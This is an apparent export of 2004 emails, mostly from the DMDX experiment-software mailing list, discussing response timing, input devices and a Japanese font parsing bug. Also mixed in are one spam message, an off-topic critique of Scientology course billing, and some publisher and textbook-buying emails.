msecs (8 ticks) before the next stimulus occurs. We > accomplished this specifying the fd for each stimulus on each line, and > putting a parameter in the header with a . However, as we > are doing this with fMRI we wanted the zil output so we could also get a > measure of when the scans were being acquired. > The correct timing for the experiment would only work if the output was > azk, but not zil. Any thoughts/suggestions? The only real timing difference between .zil and .azk is that a .zil item file will typically always use the timeout to terminate a response whereas .azk typically terminates when the subject responds. Perhaps you should try the mode of .zil that only gathers a single response but otherwise keeps with the .zil conventions. If this works I'd be looking at your handling of timeouts as it would indicate that a subject not responding in an .azk file would also cause the timing to go out. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It's always darkest before dawn. So if you're gonna steal the neighbor's newspaper, that's the time to do it.",0,0 """Dr. Gregory J. DiGirolamo"" ",DMDX@psy1.psych.arizona.edu,"Sat, 08 May 2004 15:34:36 +0100","[DMDX] zil, zor or azk","Thank you for the helpful response. Unfortunately, we need DMDX to record all the responses made as the scanner pulse is measure as a response. Is there a way to make the zil terminate the trial once either of two keys are pressed, but still record all responses (so we know when the scanner pulses occur)? Thank you for your help. Best, Gregg ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 08 May 2004 11:43:07 -0700","[DMDX] Re: zil, zor or azk","At 03:34 PM 5/8/2004 +0100, you wrote: >Thank you for the helpful response. Unfortunately, we need DMDX to record >all the responses made as the scanner pulse is measure as a response. Is >there a way to make the zil terminate the trial once either of two keys >are pressed, but still record all responses (so we know when the scanner >pulses occur)? No, once it's terminated it's not going to record anything. You probably need to make the display guaranteed to be longer than the subject timeout. There are some notes on that in the Timing Notes: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhtimingnotes.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It's always darkest before dawn. So if you're gonna steal the neighbor's newspaper, that's the time to do it. ",0,1 Andy ,DMDX@psy1.psych.arizona.edu,"Sun, 09 May 2004 14:31:46 +0100",[DMDX] DIY input device- RT's affected?,"Hi. I’ve made an input device that I can attach footpedals etc to. I took to pieces a USB mouse and just soldered on two sockets, so that other switches can be attached to it (device works very nicely). Can anyone see any reason why this is a bad idea? I’m worried about using this DIY approach in reaction time studies- would the 3 metres of wire attaching the footpedal to my mouse circuit board make RT’s unreliable? Would appreciate peoples thoughts on the matter. Thanks, Andy. Andy Woods Department of Psychology Aras an Phiarsaigh Trinity College Dublin 2, Ireland Tel:    + 353 (0) 1 608 1521 Fax:    + 353 (0) 1 671 2006 http://www.tcd.ie/psychology/multisensory/ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 09 May 2004 12:22:45 -0700",[DMDX] Re: DIY input device- RT's affected?,"At 02:31 PM 5/9/2004 +0100, you wrote: >Hi. > >I've made an input device that I can attach footpedals etc to. I took >to pieces a USB mouse and just soldered on two sockets, so that other >switches can be attached to it (device works very nicely). Can anyone >see any reason why this is a bad idea? No. I recommend it in fact. > I'm worried about using this DIY >approach in reaction time studies- would the 3 metres of wire attaching >the footpedal to my mouse circuit board make RT's unreliable? No, the capacitance of a piece of wire that long only affects signals in the multi-kilohertz range, RTs fall well below this. > Would >appreciate peoples thoughts on the matter. Thanks, Andy. The biggest source of error is going to be the USB mouse itself and the only way to determine that is to build a test jig that closes the switches at a known frequency and to use DMDX's test modes to measure the variability. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Firmness of delivery dates is inversely proportional to the tightness of the schedule. ",0,0 Chante Kuo ,DMDX@psy1.psych.arizona.edu,"Wed, 12 May 2004 05:43:06 -0700",Re: good VALtUwM,"Hi, C n I i A f L r I k S x V n I u A h G d R h A y V c A v L b I w U d M q X v A p N s A s X q http://www.utometre.com bluein cajoler accusto dodg classifie Youre not well, Dimitri. Do you wish a superb service report or one that will send you to Tashkent? Im on my way, comrade. Krupkin replaced the microphone in the dashboard receptacle. Everything proceeds, he said haltingly, partially over his shoulder. ",1,1 Stuart Bell ,DMDX@psy1.psych.arizona.edu,"Thu, 13 May 2004 16:06:34 +0100",[DMDX] Analogue input devices,"Hi folks, This is really a question for Jonathan. I remember reading back in August (message id 935652) that you were considering adding support for input devices with axis information, so that the coordinates of a mouse / eye-tracker etc could be stored when a response is made. I'm now designing an experiment where, ideally, participants will indicate the location of a visual stimulus by pressing in the appropriate area of a touch-sensitive monitor. Is DMDX likely to have support for this scenario within, say, the next six months please? I'm already quite familiar with DMDX, having used it for the past four years, so I would ideally run this next experiment with it too. I also trust its timing accuracy more than many of the commercial applications that are available. I also see that you were encouraging input as to functions that people might find useful for analogue input devices. Whilst these comments are a little late, in the _ideal_ situation I could somehow define a ""response correct"" area of the screen, so that correct and incorrect responses could be treated differently. However I'm aware that this could be quite tricky to implement, so I'm really only mentioning it for the record. Thanks as ever for all your work on DMDX, Stuart. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 13 May 2004 08:44:11 -0700",[DMDX] Re: Analogue input devices,"At 04:06 PM 5/13/2004 +0100, you wrote: >Hi folks, > >This is really a question for Jonathan. I remember reading back in August >(message id 935652) that you were considering adding support for input >devices with axis information, so that the coordinates of a mouse / >eye-tracker etc could be stored when a response is made. I'm now designing >an experiment where, ideally, participants will indicate the location of a >visual stimulus by pressing in the appropriate area of a touch-sensitive >monitor. > >Is DMDX likely to have support for this scenario within, say, the next six >months please? No. Apart from the fact I would still appear to be just as far away as I ever was from receiving detailed technical specifications of what the eye tracking software would have to do it doesn't appear that the modifications needed for it would translate to other analog devices without a significant amount of extra work -- which means I'm not likely to do it unless it's needed here or is sponsored by others. > I'm already quite familiar with DMDX, having used it for the past four > years, so I would ideally run this next experiment with it too. I also > trust its timing accuracy more than many of the commercial applications > that are available. > >I also see that you were encouraging input as to functions that people >might find useful for analogue input devices. Whilst these comments are a >little late, in the _ideal_ situation I could somehow define a ""response >correct"" area of the screen, so that correct and incorrect responses could >be treated differently. However I'm aware that this could be quite tricky >to implement, so I'm really only mentioning it for the record. Thanks. That is in fact the only thing I've ever thought of to do with the devices beyond having multiple correct spots and other regions that are specifically negative responses and for the rest of the area to be optionally ignored. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Don't worry over what other people are thinking about you. They're too busy worrying over what you are thinking about them. ",0,0 Stuart Bell ,DMDX@psy1.psych.arizona.edu,"Thu, 13 May 2004 17:44:11 +0100",[DMDX] Re: Analogue input devices,"> I would still appear to be just as far away as I ever was from > receiving detailed technical specifications of what the eye tracking > software would have to do it doesn't appear that the modifications > needed for it would translate to other analog devices without a > significant amount of extra work Thanks very much for the update on this -- that's exactly what I needed to know. I'll definitely still be using DMDX for our other reaction time tasks though! Stuart. ",0,0 """EL Turner, Experimental Psychology"" ",DMDX ,"Fri, 14 May 2004 12:59:28 +0100",[DMDX] analyze,"Hi all, I am trying to run an azk file through analyze version 2.02 and I get the following error message. ""Item file has 0 non-instruction item numbers"" I have written a spc file (using Nan Jiang's help files as a guide) and can't see anything obviously wrong with it. Does anyone have any suggestions. Thanks Emma ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8547 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 14 May 2004 08:15:13 -0700",[DMDX] Re: analyze,"At 12:59 PM 5/14/2004 +0100, you wrote: >Hi all, > >I am trying to run an azk file through analyze version 2.02 and I get the >following error message. > >""Item file has 0 non-instruction item numbers"" > >I have written a spc file (using Nan Jiang's help files as a guide) and >can't see anything obviously wrong with it. Does anyone have any suggestions. It can't find any items with RTs in them. If you send us a small snippet of your .azk file we can provide more details. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All things are possible except skiing thru a revolving door. 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Thank you so much Abdessatar Mahfoudhi Abdessatar Mahfoudhi PhD Linguistics Program Univeristy of Ottawa 70 Laurier Ave East Ottawa, On K1N 6N5 Phone: (613) 562 5800 ext 1769 --------------------------------- Do you Yahoo!? Yahoo! Domains - Claim yours for only $14.70/year",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 19 May 2004 17:45:04 -0700",[DMDX] Re: joystick ,"At 05:19 PM 5/19/2004 -0700, you wrote: > Hello, > >I am trying to use a 4 button joystick (Saitek 220 digital), but DMDX >(3.0.3.1) does not recognize/select it. Does anybody have an idea as to >what might have gone wrong? How have you attempted to use it? Does TimeDX's Input Device test see it? Sometimes you have to scroll down to see devices in the dialog box's list of devices. > Has anybody used a joystick succesfully? Yes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""In order to make an apple pie from scratch, you must first create the universe."" - Carl Sagan, Cosmos ",0,0 nahoko ,DMDX@psy1.psych.arizona.edu,"Thu, 20 May 2004 19:34:36 +0900",[DMDX] long non-alphabet sutimuli,"Hallo, I am a master's student at University of Essex. I am planning to conduct Sentence Matching Experiment in Japanese, And have problems in displaying a long sentence containing several Chinese characters (Hiragana and Katakana are okey to be displayed). When the string of Chinese characters are more than 4, the error message ""frame has multiple test segment, possible missing frame delimeter"". If someone knows how to display long sentences in Chinese chracter, please let me know. Also, if someone has a format for Sentence Matching, I would appriciate if I could take a look. (Mine uses <% 0>, maybe not a good idea). Nahoko KAMEO",0,0 KEVIN GLOVER ,DMDX@psy1.psych.arizona.edu,"Thu, 20 May 2004 12:07:54 +0100",[DMDX] Re: long non-alphabet sutimuli,"Hi Nahoko I don't know the answer to your question, but just wanted to say that I saw your message. I am also a student (PhD) of Claudia Felser, and I am planning to run a lexical decision experiment on DMDX. I shall be getting into some 'serious programming' over the next couple of weeks, so perhaps we could help each other out. One tip is to look at the website of the MRC-CBU in Cambridge. They have a number of programs that you can copy, then cut and paste the bits you need. I set up a simple lexical decision task in less than an hour that way. If you need more precise references, let me know. Kevin Glover kjglov@essex.ac.uk nahoko wrote: Hallo, I am a master's student at University of Essex. I am planning to conduct Sentence Matching Experiment in Japanese, And have problems in displaying a long sentence containing several Chinese characters (Hiragana and Katakana are okey to be displayed). When the string of Chinese characters are more than 4, the error message ""frame has multiple test segment, possible missing frame delimeter"". If someone knows how to display long sentences in Chinese chracter, please let me know. Also, if someone has a format for Sentence Matching, I would appriciate if I could take a look. (Mine uses --------------------------------- Yahoo! Messenger - Communicate instantly...""Ping"" your friends today! Download Messenger Now",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 May 2004 08:59:25 -0700",[DMDX] Re: long non-alphabet sutimuli,"At 07:34 PM 5/20/2004 +0900, you wrote: >Hallo, >I am a master's student at University of Essex. I am planning to conduct >Sentence Matching Experiment in Japanese, >And have problems in displaying a long sentence containing several >Chinese characters (Hiragana and Katakana are okey to be displayed). >When the string of Chinese characters are more than 4, the error message >""frame has multiple test segment, possible missing frame delimeter"". Multiple text segments means that DMDX found something like the following: +1 / ""frame 1"" / ""frame 2"" ""second text segment"" / ""frame 3"" *; It usually occurs because there's a missing frame delimiter and the item should look like: +1 / ""frame 1"" / ""frame 2"" / ""second text segment is now frame 3"" / ""frame 4"" *; >If someone knows how to display long sentences in Chinese chracter, >please let me know. Shouldn't be any particularly big deal, it's been done before. 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At a guess, I'd say that you must have something like the following in your item: +001 ""每组中"" ""文词出现以前"" etc. That is, more than one set of quotation marks within a frame. That's why DMDX is suggesting a missing frame delimiter. The following is one way you can do S/D matching: +001 ""每组中文词出现以前"" %140 / !* ""每组中文词出现以前""; Note that the ""%140"" builds in a delay before the second comparison stimulus is presented. This gives the subject time to read the first sentence and to get ready for the second. The ""!"" in the second frame prevents the first from being erased. Also, the entire display stays on the screen until the subject responds (or the timeout is reached). --k.i.f. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > owner@psy1.psych.arizona.edu] On Behalf Of nahoko > Sent: Thursday, May 20, 2004 3:35 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] long non-alphabet sutimuli > > Hallo, > I am a master's student at University of Essex. I am planning to conduct > Sentence Matching Experiment in Japanese, > And have problems in displaying a long sentence containing several > Chinese characters (Hiragana and Katakana are okey to be displayed). > When the string of Chinese characters are more than 4, the error message > ""frame has multiple test segment, possible missing frame delimeter"". > If someone knows how to display long sentences in Chinese chracter, > please let me know. > Also, if someone has a format for Sentence Matching, I would appriciate > if I could take a look. (Mine uses <% 0>, maybe not a good idea). > > Nahoko KAMEO > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. 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Yes. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""In order to make an apple pie from scratch, you must first create the universe."" - Carl Sagan, Cosmos ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== Abdessatar Mahfoudhi PhD Linguistics Program Univeristy of Ottawa 70 Laurier Ave East Ottawa, On K1N 6N5 Phone: (613) 562 5800 ext 1769 --------------------------------- Do you Yahoo!? Yahoo! Domains - Claim yours for only $14.70/year",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 20 May 2004 10:33:30 -0700",[DMDX] Re: joystick ,"At 09:25 AM 5/20/2004 -0700, you wrote: >Thank you, >Yes, TimeDX's Input Device test recognizes the joystick (3 axis 4 >buttons). In the parameter line I entered the following: > > +button 1> > >But DMDX does not select it. So it fails saying that the Saitek 220 Digital Joystick USB wasn't found? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If it wasn't so warm out today, it would be cooler.",0,0 abdessatar mahfoudhi ,DMDX@psy1.psych.arizona.edu,"Thu, 20 May 2004 10:48:28 -0700",[DMDX] Re: joystick ,"Yes, it says selection of input device failed. But I figured it out: the name of the device was wrong (not exactly as identified by the Input Device Test). Thanks and have a great day ""Jonathan C. Forster"" wrote: At 09:25 AM 5/20/2004 -0700, you wrote: >Thank you, >Yes, TimeDX's Input Device test recognizes the joystick (3 axis 4 >buttons). In the parameter line I entered the following: > > >+button 1> > >But DMDX does not select it. So it fails saying that the Saitek 220 Digital Joystick USB wasn't found? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If it wasn't so warm out today, it would be cooler. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== Abdessatar Mahfoudhi PhD Linguistics Program Univeristy of Ottawa 70 Laurier Ave East Ottawa, On K1N 6N5 Phone: (613) 562 5800 ext 1769 --------------------------------- Do you Yahoo!? Yahoo! Domains - Claim yours for only $14.70/year",0,1 """Jonathan C. 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I was using the MS Mincho, which is the standard Japanese font. My guess is that somehow MS Mincho is not really recognized by DMDX, because the same sentence in Simsun font is all right, but not MS Mincho. The problem is Japanese sentences in Simsun font look very unnatural…. Is there anything I can do to make MS Mincho displayed without problem? Or would I have to use picture format if I stick to the Japanese fonts? Below I attach some examples. The second item will cause an error. Hummm…. Nahoko +1 / ""事���Tが同僚に�I者が�}�欷撕晌铯蚪欷堡郡妊预盲�"" / ""事���Tが同僚に �I者が�}�欷撕晌铯蚪欷堡郡妊预盲�"" , ""事���Tが同僚に�I者が�}�欷撕� 物を届けたと言った"" *; +1/ ""事���Tが同僚に�I者が�}�欷撕晌铯蚪欷堡郡妊预盲�"" / ""事���Tが同僚に�I 者が�}�欷撕晌铯蚪欷堡郡妊预盲�"" , ""事���Tが同僚に�I者が�}�欷撕晌� を届けたと言った"" *; -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Kenneth Forster Sent: Friday, May 21, 2004 1:07 AM To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] RE: long non-alphabet sutimuli Nahoko, There isn't anything special about displaying more than 4 Chinese characters. At a guess, I'd say that you must have something like the following in your item: +001 ""每组中"" ""文词出现以前"" etc. That is, more than one set of quotation marks within a frame. That's why DMDX is suggesting a missing frame delimiter. The following is one way you can do S/D matching: +001 ""每组中文词出现以前"" %140 / !* ""每组中文词出现以前""; Note that the ""%140"" builds in a delay before the second comparison stimulus is presented. This gives the subject time to read the first sentence and to get ready for the second. The ""!"" in the second frame prevents the first from being erased. Also, the entire display stays on the screen until the subject responds (or the timeout is reached). --k.i.f. > -----Original Message----- > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > owner@psy1.psych.arizona.edu] On Behalf Of nahoko > Sent: Thursday, May 20, 2004 3:35 AM > To: DMDX@psy1.psych.arizona.edu > Subject: [DMDX] long non-alphabet sutimuli > > Hallo, > I am a master's student at University of Essex. I am planning to conduct > Sentence Matching Experiment in Japanese, > And have problems in displaying a long sentence containing several > Chinese characters (Hiragana and Katakana are okey to be displayed). > When the string of Chinese characters are more than 4, the error message > ""frame has multiple test segment, possible missing frame delimeter"". > If someone knows how to display long sentences in Chinese chracter, > please let me know. > Also, if someone has a format for Sentence Matching, I would appriciate > if I could take a look. (Mine uses <% 0>, maybe not a good idea). > > Nahoko KAMEO > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ====================================================================",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 May 2004 11:55:45 -0700",[DMDX] Re: RE: RE: long non-alphabet sutimuli,"If we can't replicate it here you'll have to send me (jforster@psy1.psych.arizona.edu, not the list) the item file and the MS Mincho font. Clearly there's something in it that DMDX's parser isn't dealing with correctly. At 03:38 AM 5/22/2004 +0900, you wrote: >Hallo, > >Thank you for the suggestions! > >My DMDX is the latest version and there are no missing frame delimiters. > >Your sample of Chinese sentences reminded me of the font I was using. > >Your example works perfectly, and it is Simsun font (for Chinese.) > >I was using the MS Mincho, which is the standard Japanese font. > >My guess is that somehow MS Mincho is not really recognized by DMDX, >because the same sentence in Simsun font is all right, but not MS Mincho. >The problem is Japanese sentences in Simsun font look very unnatural¡­. Is >there anything I can do to make MS Mincho displayed without problem? Or >would I have to use picture format if I stick to the Japanese fonts? > >Below I attach some examples. The second item will cause an error. Hummm¡­. > >Nahoko > >+1 / ""Ê„ՆT¤¬Í¬ÁŤ˘IÕߤ¬‚}Žì¤ËºÉÎï¤ò½ì¤±¤¿¤ÈÑԤä¿"" / >""Ê„ՆT¤¬Í¬ÁŤ˘IÕߤ¬‚}Žì¤ËºÉÎï¤ò½ì¤±¤¿¤ÈÑԤä¿"" , >""Ê„ՆT¤¬Í¬ÁŤ˘IÕߤ¬‚}Žì¤ËºÉÎï¤ò½ì¤±¤¿¤ÈÑԤä¿"" *; > >+1/ ""Ê„ՆT¤¬Í¬ÁŤ˘IÕߤ¬‚}Žì¤ËºÉÎï¤ò½ì¤±¤¿¤ÈÑԤä¿"" / >""Ê„ՆT¤¬Í¬ÁŤ˘IÕߤ¬‚}Žì¤ËºÉÎï¤ò½ì¤±¤¿¤ÈÑԤä¿"" , >""Ê„ՆT¤¬Í¬ÁŤ˘IÕߤ¬‚}Žì¤ËºÉÎï¤ò½ì¤±¤¿¤ÈÑԤä¿"" *; > >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] >On Behalf Of Kenneth Forster >Sent: Friday, May 21, 2004 1:07 AM >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] RE: long non-alphabet sutimuli > >Nahoko, > >There isn't anything special about displaying more than 4 Chinese > >characters. At a guess, I'd say that you must have something like the > >following in your item: > >+001 ""ÿ×éÖÐ"" ""ÎĴʳöÏÖÒÔÇ°"" etc. > >That is, more than one set of quotation marks within a frame. That's why > >DMDX is suggesting a missing frame delimiter. > >The following is one way you can do S/D matching: > >+001 ""ÿ×éÖÐÎĴʳöÏÖÒÔÇ°"" %140 / !* ""ÿ×éÖÐÎĴʳöÏÖÒÔÇ°""; > >Note that the ""%140"" builds in a delay before the second comparison stimulus > >is presented. This gives the subject time to read the first sentence and to > >get ready for the second. The ""!"" in the second frame prevents the first > >from being erased. Also, the entire display stays on the screen until the > >subject responds (or the timeout is reached). > >--k.i.f. > > > > -----Original Message----- > > > From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX- > > > owner@psy1.psych.arizona.edu] On Behalf Of nahoko > > > Sent: Thursday, May 20, 2004 3:35 AM > > > To: DMDX@psy1.psych.arizona.edu > > > Subject: [DMDX] long non-alphabet sutimuli > > > > > > Hallo, > > > I am a master's student at University of Essex. I am planning to conduct > > > Sentence Matching Experiment in Japanese, > > > And have problems in displaying a long sentence containing several > > > Chinese characters (Hiragana and Katakana are okey to be displayed). > > > When the string of Chinese characters are more than 4, the error message > > > ""frame has multiple test segment, possible missing frame delimeter"". > > > If someone knows how to display long sentences in Chinese chracter, > > > please let me know. > > > Also, if someone has a format for Sentence Matching, I would appriciate > > > if I could take a look. (Mine uses <% 0>, maybe not a good idea). > > > > > > Nahoko KAMEO > > > > > > ==================================================================== > > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > > 'unsubscribe' by itself with no quotes in the body of the email > > > to be removed from the list. The list archive is available here: > > > > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > > > ==================================================================== > > >==================================================================== > > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > > 'unsubscribe' by itself with no quotes in the body of the email > > to be removed from the list. The list archive is available here: > > >http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If it wasn't so warm out today, it would be cooler.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 May 2004 13:45:51 -0700",[DMDX] Re: long non-alphabet stimuli,"At 11:55 AM 5/21/2004 -0700, you wrote: > If we can't replicate it here you'll have to send me > (jforster@psy1.psych.arizona.edu, not the list) the item file and the MS > Mincho font. Clearly there's something in it that DMDX's parser isn't > dealing with correctly. No need to send anything, there's a fault in DMDX somewhere there. You can see when DMDX has parsed the file that extra sets of quotes have been added. I'll see if I can't fix it shortly. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Uncle Ed's Rule of Thumb: Never use your thumb for a rule. You'll either hit it with a hammmer or get a splinter in it. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 21 May 2004 14:23:38 -0700",[DMDX] 3.0.3.2," So it turns out that MS Mincho is in character set 128 which like charset 132 is also a character set that Word's smart quote handling has to be off for it to be interpreted by DMDX. Gotta wonder how many other font character sets are going to be breaking Word's lovely little ""shortcuts"". DMDX 3.0.3.2 fixes this. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Uncle Ed's Rule of Thumb: Never use your thumb for a rule. You'll either hit it with a hammmer or get a splinter in it. ",0,0 Jeff Jacobsen ,,"Sun, 23 May 2004 10:57:07 -0700",OT 3; the level of fraud?,"Wow, I just saw that this post had been cancelled. So here it is again... OT III comes before NOTs. It is, however, discussed in NOTs. In HCOB 15 September, 1978, ""NED for OTs RD, Theory of"" Hubbard (or Mayo) says ""the EP of OT III give only an apparency that all BTs and clusters are gone... actually, the end of OT III is when those BTs and clusters that are easily put into communication are gone."" When you attest to completing OT III, do you know this? I believe not. I believe that when one completes OT III, the understanding is that all your BTs are gone now. Also, there are such things as ""clusters messed up on OT III"" [HCOB of 11 December 1978, ""Handling BT's Messed Up on OT III""]. So in fact, part of OT III can actually screw things up for you! Despite this, while on NOTs, ""Sometimes you will need to use OT III techniques, especially when you run into a cluster."" [HCOB of 1 December, 1980 ""Acknowledging the 'Me' Answer""]. Worst of all, however, is the blatant admission that sometimes people are passed from OT III even though they have not reached the end phenonmenon! ""...at the first slackening or abandonment or EP or if he is just going on and on into 'endless OT III', look for a nice win and tell him that's it and shunt him over to Audited NOTs."" [HCOB of 10 November 1981 ""OT III and OT III Attest""]. OT III, by the way, is paid for in a lump payment. NOTs is paid by the hour. So how many of you who have completed OT III ACTUALLY completed OT III? When LRH himself says to graduate people from OT III even if they didn't complete it, how do you know whether that happened to you or not? The only way to know for sure would be to look at your PC folder. If it was me, I'd demand to see my PC folders to find out if I was just passed up to the next level so I'd be spending more money. And what if this early passing from OT III screwed up your next level, and the next? Do you have to pay for the repairs even though it's THEIR fault? Isn't this an admission that OT III is incomplete, since they blatantly say they're going to be graduating people that they know have not reached the EP (end phenomenon) and apparently don't know how to get them to completion? What about the other levels? Do they tell people they've gone clear even though they haven't, just to get them on the next paying level? ",0,0 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Tue, 25 May 2004 05:24:36 -0400",[DMDX] running dmdx on a Chinese brand computer,"I am trying to install dmdx on a relatively new computer on a Chinese campus that has Chinese environment (Chinese brand name). I did TimeDX. But when I opened an item file (a working file I have used) and did the syntax check, it was extremely slow. It usually takes only a few seconds to finish checking the entire file, but each line took a few seconds. When I ran the file, the computer freezed (or was just extremely slow). Any help would be appreciated. +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 25 May 2004 08:43:46 -0700",[DMDX] Re: running dmdx on a Chinese brand computer,"At 05:24 AM 5/25/2004 -0400, you wrote: >I am trying to install dmdx on a relatively new computer on a Chinese >campus that has Chinese environment (Chinese brand name). I did TimeDX. >But when I opened an item file (a working file I have used) and did the >syntax check, it was extremely slow. It usually takes only a few seconds >to finish checking the entire file, but each line took a few seconds. >When I ran the file, the computer freezed (or was just extremely slow). >Any help would be appreciated. It performs other tasks adequately? First suspect is always a virus or worm. You could try the DMDX for GeForce video cards shortcut (even if it's not a GeForce) or the DMDX for really bad video cards shortcut and see if that fixes things. I guess it's faintly possible that the machine has a small amount of RAM and if it's a cheap machine it's using main memory for video memory and when DMDX asks for it's ridiculous number of back buffers that the machine starts running out of swap space which would slow things down right good and proper. After that it's the display drivers and so on, you find out what the video chipset is and get new drivers for it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Procrastination-the art of keeping up with yesterday. ",0,0 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Tue, 25 May 2004 19:58:24 -0400",[DMDX] Re: running dmdx on a Chinese brand computer,"Where or how can I find the GeForce video cards shortcut? nj It performs other tasks adequately? First suspect is always a virus or worm. You could try the DMDX for GeForce video cards shortcut (even if it's not a GeForce) or the DMDX for really bad video cards shortcut and see if that fixes things. I guess it's faintly possible that the machine has a small amount of RAM and if it's a cheap machine it's using main memory for video memory and when DMDX asks for it's ridiculous number of back buffers that the machine starts running out of swap space which would slow things down right good and proper. After that it's the display drivers and so on, you find out what the video chipset is and get new drivers for it. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Procrastination-the art of keeping up with yesterday. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== +++++++++++++++++++++++++++ Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics Georgia State University njiang@gsu.edu http://www.gsu.edu/~eslnxj 404-651-2936 +++++++++++++++++++++++++++ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 25 May 2004 18:11:45 -0700",[DMDX] Re: running dmdx on a Chinese brand computer,"At 07:58 PM 5/25/2004 -0400, you wrote: >Where or how can I find the GeForce video cards shortcut? nj Start / Programs / DMDX /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Procrastination-the art of keeping up with yesterday. ",0,0 Chevron Publishing ,Joseph Boscarino ,"Wed, 26 May 2004 15:59:37 -0400",IJEMH article for Issue 6-2,"Dr. Boscarino, Thank you so much for the prompt return of your edits. Enclosed you will find a PDF file of your finalized copy. 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",0,0 """jay@textbookreusers.com"" ","""XXX@XXXXXXXX.XXXXXXX.XXX"" ","Thu, 27 May 2004 15:18:34 -0700","ADV Textbooks, Tuesday & Wednesday, University of Oregon","Dear Professor XXXXXXXX., I am going to be on your campus to buy textbooks this Tuesday, June 1st and Wednesday, June 2nd and would like to make an appointment with you. I buy recent/current editions of books that faculty members are no longer using.  Suitable textbooks include current student editions, duplications, and annotated instructor editions.   We are looking for books that are in good to excellent condition, as we make them available for students nationwide at a discounted price.   If you would like to schedule an appointment with me, please respond with the following information:1) the time(s) you are available2) campus you are on (only if you school has more than one campus)3) office location (including building name and office number)4) your office phone number. An assistant from our central office will then confirm an 